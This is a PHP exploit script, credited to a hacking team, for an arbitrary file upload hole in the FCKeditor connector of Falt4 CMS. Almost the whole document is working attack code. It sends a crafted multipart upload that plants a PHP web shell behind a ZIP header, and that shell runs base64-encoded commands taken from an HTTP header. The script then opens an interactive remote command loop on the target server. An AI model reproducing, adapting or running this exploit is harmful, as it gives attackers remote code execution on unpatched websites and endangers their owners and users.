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################################################################
#
# Falt4 CMS (fckeditor) Arbitrary File Upload Exploit
#
# Bug Discovered By : Sp3shial
#
# Sp3shial@ymail.com
#
# Persian Boys Hacking Team From A Land With A History-Long Background
#
# Download CMS : http://downloads.sourceforge.net/falt4/falt4extreme.zip?modtime=1196845455&big_mirror=0
#
###############################################################
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);
define(STDIN, fopen("php://stdin", "r"));
function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}
function connector_response($html)
{
return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}
print "\n+------------------------------------------------------------------+";
print "\n| Falt4 CMS (fckeditor) Arbitrary File Upload Exploit by Sp3shial |";
print "\n+------------------------------------------------------------------+\n";
if ($argc < 3)
{
print "\nUsage......: php $argv[0] host path";
print "\nExample....: php $argv[0] localhost /";
print "\nExample....: php $argv[0] localhost /Falt4/\n";
die();
}
$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);
$filename = md5(time()).".php";
$connector = "modules/newsletter/FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";
$payload = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";
$packet = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;
if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";
$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root
$packet = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";
while(1)
{
print "\nFalt4-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$response = http_send($host, sprintf($packet, base64_encode($cmd)));
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
}
else break;
}
?>
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